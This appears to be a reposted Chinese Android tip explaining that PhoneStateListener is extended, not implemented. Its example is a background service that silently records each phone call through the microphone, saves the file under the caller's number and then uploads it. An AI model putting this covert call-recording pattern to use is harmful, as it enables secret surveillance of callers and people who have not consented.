android:有些listener类型的回调函数不是interface,而是基本类,所以要用extends去继承,不要implement

来源:互联网 发布:贴图绘制软件 编辑:程序博客网 时间:2024/06/03 23:45

(当然这个问题很简单,但是有时候容易忽略)

例如电话监听服务的listener,

@Override
public void onCreate() {
super.onCreate();
TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);
}

(这里的PhoneStateListener就是个类,不是interface,所以下面用extends)

private final class PhoneListener extends PhoneStateListener{
private String incomingNumber;
private File file;
private MediaRecorder mediaRecorder;

@Override
public void onCallStateChanged(int state, String incomingNumber) {
try {
switch (state) {
case TelephonyManager.CALL_STATE_RINGING://来电
this.incomingNumber = incomingNumber;
break;


case TelephonyManager.CALL_STATE_OFFHOOK://接通电话
file = new File(Environment.getExternalStorageDirectory(), incomingNumber+System.currentTimeMillis()+ ".3gp");
mediaRecorder = new MediaRecorder();
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
mediaRecorder.setOutputFile(file.getAbsolutePath());
mediaRecorder.prepare();
mediaRecorder.start();//开始录音
break;

case TelephonyManager.CALL_STATE_IDLE://挂断电话后回归到空闲状态
if(mediaRecorder != null){
mediaRecorder.stop();
mediaRecorder.release();
mediaRecorder = null;
uploadFile();
}
break;
}
} catch (Exception e) {
e.printStackTrace();
}
}

0 0
原创粉丝点击